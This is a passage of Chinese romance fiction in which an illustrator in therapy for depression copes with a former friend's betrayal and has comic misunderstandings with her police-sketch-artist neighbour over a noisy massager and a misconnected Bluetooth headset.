乔星若原本还觉得陈时澹的工作时间很规律,可在两天之后,他们很长一段时间都没有再见过。
画室的工作安排有了变动,乔星若给学生上课的时间从白天改到了晚上七点到九点半。
乔星若是很怕夜里出门的,晚上也不敢打车,但还是为了生活克服了。
她每次上车都会跟许敏保持电话联络,这样会有安全感很多。
下课回家后,她还会熬夜画几小时板绘,蒙头睡到次日中午或者下午。
—
转眼到了国庆中秋,房东太太给整栋楼的人都送了亲手做的月饼。
这天乔星若还在睡梦中,隐约听到门铃声,迷迷糊糊起床开门。
门外是一个中年妇女,年纪跟许敏差不多大。
女人拎着好几袋东西,笑容热情:“姑娘刚起床啊?”
乔星若“啊”了一声,觉得声音很熟悉。她想了一下,礼貌询问:“您是房东太太?”
“是啊,你叫我刘阿姨就好。中秋快乐,我做了些月饼,拿去尝尝!”刘夕梅不由分说地把其中一袋塞给她,随口问了句,“你隔壁住着谁啊,我敲了半天都没人开门。”
乔星若犹豫着说:“可能是……您儿子?”
“……”刘夕梅恍然大悟般哦了一声,“啊对,年纪大了记性不好,原来那臭小子住在这层。”
乔星若尴尬笑笑,心道这儿子是亲生的吗。
刘夕梅很健谈,拉着乔星若这个社恐聊了半小时才放过她,去给楼上的住户送月饼。
乔星若听到电梯门关上的声音,松了口气。
进屋关门的那一刻,感觉社交电量耗尽了。
没话说,也不敢说,毕竟她还没洗漱……
乔星若看着手里的袋子,神情有些复杂。她来到客厅,将袋子搁在小茶几上,随手从里面拿出来一个。
月饼包装是卡通小兔子。
刚才听那个刘阿姨说,月饼包装是她女儿选的,应该是个很可爱的小朋友吧。
去洗漱完出来,乔星若到厨房冲了杯咖啡,打开平板找了一部番剧,坐在双人沙发上追番进食。
家里也没什么吃的了,本来是打算今天去超市采购的,但是有了刘阿姨送的月饼,她又懒得动弹了。
乔星若拆开一个月饼,咬了一小口。
好吃。
他们家的人厨艺都很好,之前陈时澹做的那个蛋糕也很好吃。
月饼是蛋黄豆沙馅的,里面还有鲜奶麻薯。
虽然但是,这确定不是月饼形状的蛋黄酥吗?
吃完又拆了一个,这次是芋泥馅的。
有了饱腹感后,乔星若把剩下的放好,简单收拾了一下桌面。
离上课时间还早,她关掉番剧,蜷缩在沙发上发呆。
听到手机震动了一下,乔星若缓缓拿起来,看到了亲友米谰的消息。
米谰:若若,我最近薅到了一个巨好用的颈部按摩仪,我给你也买了一个当中秋礼物啦,快递到了之后记得签收哦~
5. 旧识
被人惦记的感觉心暖暖的,乔星若唇角勾起弧度,露出浅浅的梨涡。
敲星惹:谢谢谰谰宝贝,我也给你准备了礼物,你喜欢的歌手演唱会门票。
米谰:啊啊啊若若我爱你!!!!!!
米谰:不过……你不是不追星吗,没有高价跟hn买吧?这个事情很过分的,我们歌迷抵制,洛崽也很抵制……
敲星惹:没有,在正常渠道抢的。
前段时间在朋友圈刷到米谰说想去听喜欢的歌手演唱会,但是票很难抢,乔星若就默默记下了。
她没做过这种事情,所以花时间做好功课,蹲点抢票。
没想到运气实好,第一次抢就给她抢到了。
米谰:那我就放心啦,若宝窝爱泥!
……
跟米谰结束聊天后,乔星若感觉有精神了点。为了保持这种状态,她简单化了个妆出门,决定去小区附近的咖啡厅待一会儿。
这家咖啡厅里海城分局很近,乔星若莫名想到了陈时澹。
好像很久没见过他了,不过也正常,警察应该都挺忙的。
现在是下午五点,因为假期人多,店里大部分的座位都已经坐了人。
乔星若提前在线上点了咖啡,到店里拿到餐后找了个角落靠窗的位置坐下。
加了燕麦奶的现磨咖啡不苦,燕麦的香味萦绕鼻尖。乔星若抿了一口,有被好喝到。
“我几乎全年无休假,每周都要值班,工作具有一定的危险性。”十点钟方向传来一个清冷的声音。
听着怪熟悉的,乔星若下意识往那边瞥了一眼。
就这一眼,她险些咬到了舌头。
真是巧了,刚才还在想好久没见过陈时澹了,现在就遇到了。
陈时澹对面坐着一个年轻女人,妆容精致,年纪跟他相仿。
乔星若捧着咖啡,眼神跟贼似的,忍不住地往那边瞟,上演吃瓜群众。
好家伙,难得说服自己出来走走,居然撞见她的邻居师哥在相亲。
“巧了,我们医院也是全年无休,没有时间谈恋爱呢。”女人笑了笑,“既然如此,今天就到这吧,我医院那边还有事。”
陈时澹:“嗯,我今晚值班,就不送了。”
两人起身。女人忽然往乔星若的方向稍抬下巴:“那姑娘一直在看我们这边,你认识?”
陈时澹闻言回头,一直面无表情的脸上多了丝裂缝。
“你怎么在这里?”
乔星若偷听被抓,尴尬得低头找地缝,顺便用手机挡住脸:“不是……你认错人了。”
女人低声说了句“先走了”便离开了。
“乔星若?”陈时澹端着他那桌没吃过的蛋糕走过来,放到她的咖啡旁边。
乔星若不知道他这是什么意思,小声解释:“对不起我不是故意偷听的……”
陈时澹没好气道:“我还能打死你不成?”
是这么个理。
乔星若抬头,讪笑:“好巧啊,师哥。”
如果他相亲成功她还能说句恭喜。
可这明显失败了,还被她撞见了他被人拒绝的模样。
男生都很要面子的吧,他可能还真想打死她。
乔星若憋了半晌,不太熟练地安慰道:“没关系的师哥,你条件这么好,以后肯定会遇到更合适的。”
“哦。”陈时澹无语看着她,“我回局里了,再见。”
“……节日快乐,拜拜。”
“……”
陈时澹离开后,乔星若没坐多久便也离开了咖啡厅。
晚上的课结束,乔星若和色彩主讲老师江嘉明一起下楼。
江嘉明跟她同一届,大学在海城美院就读,毕业后回到川海画室工作。
他老家在羽城,但自出生就在海城生活。他们是在高三集训的时候认识的,不算熟络,联系方式也是这几天才加上的。
“星若,你多久没回去了?”江嘉明随意找了个话题。
乔星若想了一下:“好几年了吧。”
江嘉明有些意外:“我们不是才毕业两年?你大学放假也不回去吗?”
乔星若回答得有些含混:“很少回。”
她只在大一的时候回过一次羽城,没待到过完年就走了。
江嘉明:“那今年过年打算回去吗?我应该也回老家过年,我们可以一起自驾回去。”
乔星若敷衍笑笑:“不确定,再说吧。”
他们来到楼下,发现很多学生都围在一楼休息区。
江嘉明走过去,问他们在做什么。
乔星若看到他们围着的邱宁时,笑意一僵,整个人定在原地。
“星若,你也在这里啊?”邱宁也看到了她,噙着温和的笑意,主动跟她打了个招呼。
所有人的目光都从邱宁转移到乔星若身上。
“对啊,星若师姐来给我们当助教。”
“星若师姐画画很厉害的。”学生们七嘴八舌地替乔星若回答。
有人问:“邱宁师姐和星若师姐认识吗?”
乔星若想说不认识,可邱宁率先开口:“认识,我们是同大学同专业的,之前也是同事。”
“那为什么星若师姐会回来当助教啊,她又不是专学教培的。”
“对啊,动画制作多酷啊,为什么要回来?”
“……”
乔星若看着邱宁虚伪的笑意,却不知该如何揭穿她。
所有人都围着他们,讨论的声音翁然不止,听着头疼。
乔星若将心底的窒息感压抑下去,勉强笑了笑:“时间不早了,我先回去了。”
匆匆说完,落荒而逃般离开这里。
此时的夜里正下着小雨,淅淅沥沥的。乔星若撑着伞站在路灯下,垂在身侧的手指蜷缩了一下,不小心碰到手心,一片冰凉。
她这才想起来,已经入秋了啊,中秋都过了。
那件事居然已经过去好几个月了,可看到邱宁时,她竟觉得是昨天才发生的事情。
江嘉明察觉到她的不对劲,跟了过来:“星若,你怎么了?”
“我没事。”乔星若打开网约车平台,叫了辆车。
江嘉明:“要不别打车了,我送你回去吧?”
乔星若没有考虑便拒绝了,她在他的车上不好意思跟许敏打电话,而且他的车不像平台有监控和报警求助键。
她会没有安全感。
“那好吧,我陪你等车过来。”
乔星若婉拒了,江嘉明没说什么,仍然站在她旁边。
乔星若无声叹了口气,没再说什么。
大概十来分钟,司机过来了。
乔星若跟江嘉明道别上车,路上跟许敏通话时走神了好几回。
“若若?”许敏有些担心的声音传来
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。
“啊……怎么了?”乔星若回神,呐呐问。
许敏:“你最近是不是太累了?有按时吃饭吗?”
乔星若乖乖回答:“最近……还好,也有按时吃饭。”
“那……有按时去看心理医生吗?”
“……”
“……有的。”乔星若睫毛微颤,下意识把声音压低了些,“我的治疗周期慢慢拉长了,最近要吃的药片数量也有在变少。”
电话那头的声音变得哽咽:“那就好、那就好,一定会好起来的,若若听医生的话,一定会好起来的,啊。”
“……”
回到家里,乔星若严谨地把两道锁都锁好,慢吞吞地换鞋进屋。
按流程般卸妆洗澡,把衣服丢进洗衣机里,她披着湿漉漉的头发出来,呆坐在沙发上。
余光瞥见小茶几上的水壶,过去的记忆蓦然被触动。
大学刚毕业那年,乔星若和舍友邱宁进了同一家动漫公司。
可不到半年,公司里传出她的流言蜚语,说她勾引别人男朋友。
乔星若知道,这些谣言都是邱宁造出来的。
她的朋友不多,邱宁算一个。所以后者提出一起合租的时候,她毫不犹豫答应了。
可住在一起的时候,很多隐形矛盾点都在放大。
比如,冰箱里的食材和饮料都是她填满的,纸巾和洁面巾也是她采购的,邱宁没有跟她平摊。
当初跟中介沟通的是乔星若,她每个细节都跟邱宁说过。
邱宁并不关心,让她决定就好。
可住进来之后,一有什么不称心的地方,邱宁都会埋怨她。
咪咪是她们一起养的,可吃喝拉撒都是乔星若在管。
也幸好如此,决定搬走的时候她们没有因为猫归谁有太多的争执。
这段友谊的破裂点在于邱宁的男朋友。
邱宁偶尔会带男朋友回来过夜。
乔星若性格温吞,尽管介意外人的到来,可抵不过邱宁撒娇请求,还是选择睁只眼闭只眼,只是让他们动静小点,不要乱碰她的东西。
可就在前半个月,邱宁再次带男朋友回来。
夜里休息时间,整栋楼都寂静下来。
邱宁在卫生间刷牙,乔星若出房间接水。
她懒得开灯,便借着卫生间的余光和窗外的月光在饭厅里接水。
准备转身回房间时,敏锐感觉到自己的臀部上方被人碰了一下。
她反应很快,迅速往后躲开那只手,把水泼在邱宁男朋友的脸上,顺手捞过水壶砸了过去。
动静很大,她最喜欢的杯子摔在地上,碎成了几片。
灯被打开,屋里一下子变得亮堂。
三人面面相觑。
乔星若性格软,但也有底线。
她不想吃这个亏,当即选择了报警。
那晚过后,不知道邱宁男朋友怎么哄骗邱宁的,后者居然认为是乔星若主动勾引人。
乔星若珍视每一段友情,可在听到说辞的那一刻,心里只剩下荒唐和失望。
因为那件事情,邱宁在公司带头排挤她。
她原本就有心理问题,那段时间心态崩得连正常的社交都困难。最终因为状态实在太差而选择辞职,重新找房子搬走。
当时的乔星若不是不想计较,是连计较的力气都没有了,还不如放过自己。
6. 按摩
现在,乔星若只恨自己的窝囊。
凭什么搬走的是她,没了工作的也是她?
真是什么好事都让那对狗男女占了。
那就祝他们锁死吧。
—
两天后,米谰送的手部按摩仪也到了。
据前者所说,这个按摩仪什么都好,按的很到位,唯一的缺点就是声音太响了。
乔星若一到画画就忘了时间,通常都是昼夜颠倒。所以试用按摩仪的时间也是在半夜。
启动时的声响给她吓了一跳。
乔星若抱着侥幸心理,这栋楼的隔音应该还好吧,入住到现在好像也没听上下楼和隔壁有过什么噪音。
她记得好几户都是有孩子的,但也没听到过什么孩子吵闹的声音。
这么一想,乔星若心安理得地试用亲友甄选的按摩仪。
有多种按摩的模式,她每种都试了一下,频率短振的按着最到位。
别说,是真的好用,声音也是真的大。
不知是不是错觉,乔星若好像听到隔壁门撞墙的声音。只是很小的磕碰声,但既然在她这里都听到了,证明现场的动静是不小的。
好像是在关阳台门,使用的力度明显带了怨气。
乔星若有些意外,关掉按摩仪的开关。
陈时澹怎么火气这么大,是因为工作压力太大了吗?
这个能理解的。
当初高中学美术的时候,她就跟怨妇一样,但又没勇气撕画砸画具,只敢窝窝囊囊地捏碎自己粉面菜蛋里的面饼。
捏成渣了也不敢浪费,老实泡热水吃掉。
集训那段时间累的要死,感觉自己就是一个从早画到晚的傀儡。
陈时澹是刑警,工作量应该也是很重的,看到他书房里满墙满地的人头像就知道了。
乔星若安静听了一会儿隔壁的动静,一直安安静静的,还以为刚才的声音只是自己的错觉。
毕竟她曾经心理问题最严重的时候,就经常幻听。
水滴声,磕碰声,还有身上时不时的轻微痒痛意。
这两年好一些了,但也不排除这种可能。
乔星若成功将自己说服,又打开了按摩仪的开关。
一墙之隔,刚准备重新入睡的陈时澹:“……”
听着隔壁能震死人的动静,他坐起来,烦躁地挠挠头皮。
他妈找的什么租客?
之前在阳台注意到她那边的灯经常开一宿,作息昼夜颠倒。现在升级了,大半夜的扰民。
最近队里接到了南城区的命案,跟一家劣质玩具工厂的老板有关。
当时他跟梁队等人去第一案发现场勘察,许明不小心碰到了其中一个玩具的开关。
整出的那死动静就跟现在隔壁的动静一模一样。
况且,以他对乔星若目前的了解,她做这种事情好像还挺符合常理。
年轻人,年轻气盛能理解,但也不他妈整点好的。
这种劣质玩意儿用了也不怕得病。
陈时澹已经整整四十个小时没合眼了,现在闭眼就是嫌疑犯的人头像。
还有,隔壁整的死动静。
声音大概持续了一个小时,周围重新寂静下来。
然而——
同一时间段的第二天。
第三天。
第四天。
第n天。
……
陈时澹:“……”
他扯了扯唇,陷入沉思。
这师妹比他小几岁来着?
不会还在青春期吧?
—
按摩一段时间后,乔星若感觉右手手腕没那么疼了,睡眠质量也好了一些。
精神气都比平时好多了,难得起床没有感觉到头疼,她抱着乔咪咪猛猛吸一顿。
在遇到邱宁那晚后,乔星若没再去画室兼职,索性给自己放空一段时间调整状态。
她不会乱花钱,所以插画的收入也够咪咪和自己吃饭了,只是心理治疗的费用还得继续用许敏给的钱,有点愧疚。
乔星若吃了个全麦面包,出门去市医院的精神科诊室进行心理治疗。
安医生是她在海城以来的主治医生,刚开始的时候每周过去一次,现在的周期已经延长到了半个月一次。
一开始乔星若心里是很抗拒的,不相信一个没有亲身经历过她的痛苦的人能帮到她什么。
可安医生很温柔,把她当成一个老朋友,跟她聊天,给她讲故事。
跟和安医生待在一起时,乔星若觉得她们不是医生与患者的关系,而是存粹的,朋友。
是她从小到大都渴望的,能理解她的朋友。
“若,在我认识的人中,你是我见过的,最像星星的人。”安医生温柔注视着她,语气笃定。
乔星若笑了:“像星星……那是什么样的呢?”
“美丽,有光芒,但不刺眼。和你的名字一样。”
“你的家人给你取名字的时候,一定赋予了非常好的寓意。”
乔星若怔了片刻,眼眶有点疼。
在安医生这里治疗的第二年,乔星若退缩过无数次,终于愿意把当年发生的事情说出来。
这意味着,她需要再次把不忍回忆的痛苦复述一遍。这种感觉就像,把尚未凝结的伤口暴露在光下。
“我太痛苦了……”乔星若弓着腰,将脸埋进手心里,肩膀起伏。
真的,太痛苦了。
她曾一度以为,她活不了了。
安医生轻轻拥抱住她,声音如温和的羽毛。
“若,你的痛苦,我数以千倍共情。”
“……”
相比于过去几年,乔星若进到这个诊室时内心平静了很多。仿佛不是来看病,只是来找老朋友聊天,分享一下自己的近况。
安医生依然是那幅温柔的模样,对她笑:“若,你的状态比前几次好很多,你能开心点真好。”
“……”
一小时后,乔星若从诊室出来,坐电梯到一楼时,刚好遇到了堂弟乔景元。
乔景元比乔星若小两岁,两人小时候很亲近。当初也是担心她,他高考志愿填了海城医科大学,现在在市医院实习。
但是她不太想跟以前认识的人有过多的联系,所以他们这几年即便在一座城市,也很少见面。
“星若姐。”乔景元也看到她了,朝她走过来。
见到熟人,乔星若呼吸一窒,手指下意识有些不安地蜷缩着。
看到她手里的单子时,乔景元心里了然。只是轻轻一瞥,视线便不动声色地上移,回到她的脸上。
“姐,最近怎么样?”<
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p>乔星若莞尔:“挺好的,你呢?”
“我一点都不好啊,我导师,就那个!”乔景元指指不远处的中年白大褂,一副要哭出来的模样,“骂我跟吃饭一样,一天三顿,顿顿有新菜。如果能重来死都不学医……”
乔星若没忍住,噗嗤一声笑出来。
见她的笑容里多了几分真切,乔景元也跟着扬起眉梢:“姐,你今天真好看。”
“骗人,我今天出门都没化妆。”乔星若捧住自己的脸颊,嗔怪地瞥了他一眼。
“没骗人,是真的很好看。”乔景元见她情绪难得这么好,试探着问,“姐,咱们改天有时间一起吃个饭吧?我知道一家火锅店,味道超好。”
“……”
乔星若的笑意微敛。不忍让弟弟失望,她尽力克服心理上莫名产生的退缩。
“……好啊。”
她知道,她的家人们这些年做的够多了。
一直都是他们主动,而她一直在退缩。
没有人会对永远没有回应的事物一直热情,她也很害怕热情褪去的那一天。
既然决定变好,那就勇敢一点吧,往他们挪一步,哪怕只是很小很小的一步。
离开医院,乔星若想起耽搁了很久的采购计划,便找了家超市进去。
来到日用品区,她转了一圈,在纸巾货柜停下,思考着哪个牌子更划算。
用手机自带的计算器算了几分钟,乔星若拿了两大袋放进购物车里,推车到下一个货柜。
可没走几步,她又退了回来,把其中一袋放了回去。
如果……一次不囤太多,就又有理由出来了吧?
现在不上班,一直待在家里,能量停滞,社交能力是会退化的。
那她就永远好不了了。
得听安医生的话,多出门走走。
这么想着,后面买的东西乔星若只拿了够一周使用的量。
来到食品区,她拿了点蔬菜和面条。
想到快冬至了,乔星若犹豫了一下,拿了袋速冻饺子放进购物车里。
雨不知道什么时候又下了,在灯下看着一片朦胧。
提着东西回到小区单元楼,乔星若低头看着沾了污渍的粉白板鞋,轻皱了下眉。
等电梯期间,刚好跟从局里回来的陈时澹偶遇。
她主动朝他挥挥手:“师哥,好巧。刚下班啊?”
陈时澹带着口罩,露出的那双眼睛恹恹垂着,闻言瞥了她一眼,眼神怪凶的。
乔星若还以为自己说错什么话了,脸上的职业假笑变得僵硬,默默将手垂回身侧。
好吧,早知道就装作不认识了。一次勇敢换来终生内向。
旁边的人把身上的挎包往后甩了甩,她顿时敏感地往后退了一点,有一瞬间怀疑他要拿包砸她。
陈时澹余光看到她这戒备且怂兮兮的模样,扯了扯唇:“想什么呢,我感冒。”
“哦……”乔星若有点尴尬,想了一下,从购物袋里拿出一盒感冒灵,“这个……你需要吗?”
“不用,谢谢。”电梯门开了,陈时澹率先进去,按下楼层键。
“好吧。”乔星若跟着进去电梯厢里,小声提醒,“最近天气降温了,注意保暖。生病……还挺不好受的。”
“嗯,你也是。”
“……”
7. 熬夜
他们的关系不算很熟悉,对话客套苍白。乔星若也没话说了,低着头看手机。
电梯升到八楼后,缓缓打开,两人一前一后出去。
乔星若拿出钥匙开门。正要进门时,旁边忽然传来陈时澹的声音。
他眼神幽怨盯着她,一字一顿道:“请你晚上,节制一点……少熬点夜,师、妹。”
“?”
乔星若懵了一下,转头看向他,眼神里带着不解。
陈时澹见她这副无辜的模样,装的还挺像那么回事。一时气得牙疼,笑了一声。
沉默几秒,他慢悠悠地说:“前段时间我们局里抓了个嫌疑犯,就是因为……熬太多夜,引发了功能障碍和好几种症状。”
扔下这句,陈时澹不再管她,径自进门。
乔星若:“???”
熬夜?
什么熬夜?
他怎么知道自己经常熬夜?
乔星若进屋,直奔卧室,贴着玻璃门往阳台隔壁瞄了一眼。
隔壁应该是看不到她在自己屋里做什么的,应该是晚上看到自己的房间经常彻夜开着灯,所以猜测到她经常熬夜。
虽然是好意,但莫名的被窥探感还是让她觉得不太舒服。
乔星若当即在网上下单了厚重遮光的落地窗帘,选好付款后,来到客厅给乔咪咪添粮倒水。
倒猫粮时,她回忆着刚才陈时澹说的话,若有所思。
话说,原来熬夜的危害性这么大的吗,那以后是得注意点了,尽量把作息调回来。
“喵。”乔咪咪叫了一声,提醒她猫粮要溢出来了。
乔星若有些新奇地看着地上这一坨猫:“你居然也会叫停,是不是趁我不在家偷吃冻干了?”
乔咪咪不理她,埋头闷吃。
乔星若走到存放猫零食的箱子前,果然少了半罐冻干。
服了这只小猪咪。
片刻之后,她重新在乔咪咪面前蹲下,轻轻地给它顺毛。温声呢喃:“算啦,能吃是福,吃饱了健健康康的,不要生病。”
“……”
因为陈时澹的话,乔星若当晚从以前的习惯性熬夜,变成了心惊胆战地熬夜。
她平时做什么、想什么都习惯慢一拍,注意力很难集中。
但板绘时很投入,一到进入状态便忘了时间。
属实是低精力人群将为数不多的能量都注入自己感兴趣的地方了。
将最近一位单主的定制稿画完,天色渐亮。
最近的状态似乎好了不少,让乔星若精神松懈了些,昨晚又忘记吃药了。
负面的情绪像是抓到了漏洞,只因为这一点点的疏忽,就铺天盖地朝她袭来,几乎要将她侵蚀。
这种情绪的变化已然成了习惯,一天一个样,也可能上一秒还在笑,下一秒就哭得撕心裂肺。
总是这样。
乔星若盯着不受控制颤抖的手指,甩了甩眩晕的脑袋,出房间倒水吃药。
吃完药后,她想给自己做点东西吃,巡视了一圈家里现有的食材,觉得没有食欲。
最后还是什么都没有吃,回房间补觉,睡到下午才醒。
迷迷糊糊睁开眼,看了眼手机。
手机屏幕显示的时间下方还有一条未读消息。
是乔景元发来的。
乔星若用指纹解锁,点开聊天界面。
乔景元:姐,咱们之前约好有时间一起吃饭来着,你今晚有空吗?
乔星若蜷缩着手指,在屏幕上敲敲打打。几分钟后,她抿着苍白的唇,点击发送。
敲星惹:抱歉,我今天不太想出门。
对面也显示了“正在输入中”了很久,才回了消息。
乔景元:没关系啊,那我们可以在家吃嘛,我带食材过去找你!
敲星惹:我今天……可能情绪不太好。
她还有一句堵在心里,没有勇气打出来——
我很想你过来,可是如果让你看到这样的我,你也会变得很不开心的。
她不想害得那些对她好的人不开心。
他们没做错什么,他们对她那么好。
乔景元:姐,人都有不开心的时候嘛,是很正常的。
乔景元:我是觉得,咱们是家人,无论发生什么我都会陪你一起熬过的。如果你今天有点不开心,可以让我过去陪陪你吗?
乔星若的眼眶咻地泛红,喉咙哽咽着给他分享了位置。
敲星惹:如果你不介意的话……就过来吧。
半小时后,门铃声响起。
乔星若走到门前,通过猫眼看清楚了是乔景元才将门打开。
过道里的人除了乔景元,还有刚回来的陈时澹。
陈时澹刚才是和乔景元一起进电梯的,注意到这个男人面生,在他按完楼层键后一直没有动作。
他想到隔壁那谁胆挺小的,又是独居,便故意装作找钥匙,在过道里停留久了些。
现在看他们应该是认识的,陈时澹收回目光,从口袋里掏出钥匙开门。
“那个……”乔星若念及自己蹭过陈时澹的饭,本着礼尚往来的原则问,“师哥,你要不要过来,和我们一起吃晚饭?”
乔景元注意到称呼,知道他们关系不简单,便也跟着劝:“是啊哥们,一起吃吧,我带了很多食材过来。”
说着还抬了抬手上拎着的两大袋东西。
“不了,我还有工作。”陈时澹拒绝,径自回了屋。
乔景元跟着乔星若进门的时候,还没忘掉刚才后者开门前那位大哥看他的眼神。
带着警戒的锐利,仿佛他是什么不法分子,下一秒就要将他绳之以法。
他缓了口气,转头问乔星若:“姐,你邻居是做什么的啊?”
乔星若:“他是警察。”
好正义的职业。
乔景元原本还担心他姐隔壁住着戾气这么重的人不安全,现在倒是松了口气,语气里染上喜悦:“那还挺好的,警察住隔壁,可有安全感多了。”
乔星若笑了笑,找出来一个许久没用的电磁炉。
“打火锅吧,方便。”
“好啊。”
他们到厨房洗菜装盘。乔景元喋喋不休地说自己大学实习遇到的事情,乔星若安静听着。
“我刚开始询问刚入住的病人问题的时候老忘词,然后又跑到没人的地方临时记,回去接着问。”
“还小心翼翼闯了很多祸,比如上传了全是直线的心电图,给人查出四条腿四只手的胎儿,传话不准耽误事……”
“上个月被老师骂得想哭,但是脊柱科有个休学过来做手术的小妹妹给了我一颗糖,那一刻觉得,很值得。”
“我就想啊,没关系
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啊,反正都发生了,大不了我以后注意点,不让类似的情况再发生就好啦。慢慢来嘛,我以后可是要成为很厉害的医生,救很多很多人的,只是变好总要有个过程的嘛。”
“……”
厨房窗户开了条缝隙通风,外面的风声哗然,与玻璃发出碰撞的声音。
乔星若怔怔垂眸,水龙头里冲出来的水柱打在她的手背上,淳淳流过手指间隙,冲洗着下面的金针菇。
这些与她毫无关联的事情莫名戳到了她的某根神经,一片顿麻。
吃完晚饭,两人一起收拾完碗筷。乔景元撸了会儿猫,便跟乔星若告别,回了学校。
不久前有烟火气息的房子又静寂下来,只剩一人一猫。
乔星若洗完澡后,抱着咪咪坐在阳台前的地毯上,照例拿出手部按摩仪。
响震天的声音启动。
隔壁正在根据模糊监控录像进行草图构建的某画像师:“……”
这么多天下来,他甚至已经对这声音有点麻木了,动作熟练地戴上降噪耳机。
听音乐之类的东西会干扰到他对脑海里那个人的画面,所以他也只是用来堵耳朵,没有连接什么设备。
按摩了一个小时,乔星若开始今天的插画工作。
人的想法变化无穷,她也经常想一出是一出。
今天超低精力,画画没什么手感,可能是磁场弱了。她想着按网上教的方法,听首国歌强化一下磁场。
最近新买了一个音质超好的耳机,正好试用一下。
乔星若点开平板的蓝牙,一眼便看到了自己的耳机型号。她没多想便点击了连接,播放歌曲。
平板上方的图标显示已连接,可歌声迟迟没有传来。
乔星若有些纳闷,按着平板的音量键调大。
仍然没有声音。
“?”
什么破耳机,刚买回来就坏了?
另一边,耳机里忽然出现的国歌震耳欲聋,炭笔尖在纸上断裂。
陈时澹:“……”
他觉得自己算是个情绪稳定的人。
但、请、问、呢??
谁连了他的蓝牙?
爱国是好事,不能骂脏话。
第一个怀疑的对象就是隔壁那个,平日里脑回路和行为都很清奇的师妹。
陈时澹摘下耳机,注意到某个震音已经没了,紧皱着的眉头勉强松了些。
他来到隔壁门前,按了门铃。
两分钟后,门打开了几厘米,探出一个脑袋。
乔星若在开门前已经通过猫眼认出他了,所以没有多少意外:“师哥,你有什么事吗?”
陈时澹盯了她几秒,从她的微表情能看出她面对他时的拘谨里,还有些未全收尽的愉悦。
……也是,刚满足完生理需求。
这种事情女生脸皮薄,他也不是来问这罪的,只是想知道是不是她连了他的耳机。
陈时澹抱着臂,眉眼间透着不耐,声音冷到冰点:“你刚才在做什么?”
很少见这人这么严肃,乔星若呆了一瞬,还以为是出什么事了。
她脑子紧张转着,想起自己本来是想听歌的,但是没听成,便犹疑着回答了听歌之前做的事情。
“……按、按摩?”
“?”
“。”
“……”
8. 药物
乔星若重新锁门回房间,还有些纳闷。
不知是不是错觉,她刚才似乎看到陈时澹的耳根红了。
因为过道光线暗,她也没戴隐形眼镜,所以没太看清。
可越回忆越觉得自己没看错,他的耳朵确实是染上了一抹绯红,脖颈处也有点变色。
如果自己真的没看错的话,只有一种可能,自己的回答陈时澹不满意,给人气红温了。
乔星若的食指关节抵着下巴,在客厅徘徊了两圈,若有所思。
不是,这人有毛病?
就算是警察也得讲道理吧,她自己在家做什么跟他有什么关系,又没犯法。
确定了,是他的问题。
说不定是工作问题搞不定,把自己给逼疯了。
说服完自己,乔星若一身轻松地回房间,继续捣鼓她的新耳机。
如果真是坏了的话,得找客服退款或者换货了。
作为一名社恐,乔星若平时很少跟不认识的人线上联系和电话沟通。
有来电也只是静静看着它响着,装作自己不在线等对方挂断。
买到质量不好的东西,觉得退货麻烦,也经常选择吃点亏,避雷就好了。
但这个耳机很贵,好几百块钱!!
这个亏实在吃不下,会撑死她这个穷鬼。
乔星若的手肘撑到膝盖上,有些烦闷地挠了挠头发。
她抱着最后一次希望,认真看了一遍说明书。
还没浏览到第二个步骤,蓦然想起自己刚才连接的时候没按耳机的长按键。
所以。
很有可能。
她连接的不是自己的耳机。
而是另一个跟她同款的耳机。
乔星若将视线转移到有一墙之隔的隔壁,瞳孔地震。
脑子里闪过刚才过来找她的陈时澹,那一脸幽怨的表情。
完蛋了。
她按照步骤重新连接了一遍,耳机果然有声了。
乔星若将脑袋往后一仰,心如死灰。
她刚才脑子抽了吧,还觉得人家有毛病。
其实有病的另有其人。
陈时澹说不定已经在心里骂了她一百遍神经病了。
没办法,乔星若勉强缓过来后,打开手机,找到和陈时澹的绿泡泡聊天界面。
敲星惹:不好意思啊师哥,我不小心连到你的蓝牙耳机了,因为我的也是这个款式,所以我连的时候没注意,真的对不起……
敲星惹:【表情包/抱歉】
忐忑等了好久,对方一直没回。
乔星若很害怕打扰到别人,况且陈时澹刚才显然是生气的。
她因为这事这一晚都没有睡好,天蒙蒙亮才勉强睡着。
—
中午,闹钟铃声响起。
乔星若惺忪阖着眼,摸到手机后关掉闹钟,想再眯一会儿。
可迷迷糊糊间想起今天还要去看心理医生,她挣扎着起床。
下午从医院出来,乔星若正好遇到了大学舍友夏熙。
大学四年,她、夏熙、林溯琪、邱宁是一个宿舍的。
夏熙也认出她了,很高兴地上前打招呼:“星若,好巧啊。”
乔星若下意识扬起一抹假笑,朝前者点点头。拿着药和单子的手不动声色地往身后收了点。
夏熙是知道她有心理疾病的。
大学期间她放在桌上的药没收好,被宿舍另外三人看到了。
当时夏熙和林溯琪决定装作不知情,毕竟这是隐私,当事人从来没主动跟她们说过,显然也不太想让别人知道。
只有邱宁去问乔星若了,直言不讳道:“星若,你是不是有抑郁症呀?”
乔星若的脑子钝痛一下,神情变得无措惶恐。
邱宁用的是正常说话音量,乔星若环顾了一眼室内,有些庆幸宿舍只有她们两个人。
见她没说话,邱宁催促着晃了晃她的手:“你跟我说嘛,我们不是朋友吗?”
乔星若睫毛轻颤着,极力控制发抖的手指。半晌,说话的底气不足:“……我没有。”
邱宁笑了一声,一副不相信的模样。
“别骗人了,你前两天放桌上的那瓶药都标注了,是精神类药物。”
自卑涌上心间,乔星若眼眶红了,看邱宁的眼神多了一丝祈求。
“宁宁,你能不能……”
她欲言又止,仿佛是在酝酿一套能掩饰住自己的难堪的说辞。
邱宁懂了,摸摸她的脑袋:“放心啦,我不会跟别人说的。”
这句话给了乔星若极大的安全感,她的视线变得模糊,泪水决堤而下。
因为这件事,两人有了共同的秘密,以此为纽带,关系愈发亲近。
乔星若把邱宁视为很重要的朋友。
后来不知怎么,班里的同学看她的眼神有多了些意味深长。
她对别人的目光一向敏感,所以觉得很不舒服。
内耗一段时间,乔星若鼓起勇气问邱宁,是不是把她的病告诉别人了。
邱宁有些生气:“乔星若,你居然不相信我,说把我当好朋友的话也是假的吧?”
“实话告诉你,之前你那瓶药不止我一个人看到了,也许就是她们传的呢?”
被这么一吼,乔星若懵了一瞬,有理也变成了没理,甚至有些自责。
她听信了邱宁的话,以为是夏熙和林溯琪说出去的。
心理上的逃避和抗拒,她开始跟那两位舍友疏远。也因为内心孤独,对邱宁愈发依赖。
—
大学毕业后乔星若和夏熙就没再联系过了,现在再遇到,除了打招呼也不知道该说什么。
夏熙一直是个顿感热情的人,乔星若大学的时候性格本来就高冷话少,所以对于她的疏远也没品出什么不对味。
